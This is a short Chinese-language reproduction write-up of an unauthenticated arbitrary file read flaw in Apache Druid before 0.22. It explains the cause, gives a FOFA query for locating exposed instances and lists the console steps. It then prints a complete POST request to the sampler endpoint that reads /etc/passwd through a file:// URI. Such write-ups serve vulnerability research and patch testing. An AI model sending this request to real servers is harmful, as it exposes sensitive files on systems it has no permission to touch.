漏洞原理
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。
影响版本
Apache Druid Version < 0.22
fofa语法
title="Apache Druid"
漏洞复现
主界面进入后位于Load data
使用HTTP(s)请求,Connect data
在URLs后使用file://协议读取文件
复现成功
请求包
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 478
Origin:
Connection: close
Referer: xxx.xxx/unified-console.html
{
"type":"index",
"spec":{
"type":"index",
"ioConfig":{
"type":"index",
"inputSource":{
"type":"http",
"uris":[
"file:///etc/passwd"
]
},
"inputFormat":{
"type":"regex",
"pattern":"(.*)",
"listDelimiter":
"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
}
},
"tuningConfig":{
"type":"index"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
带带我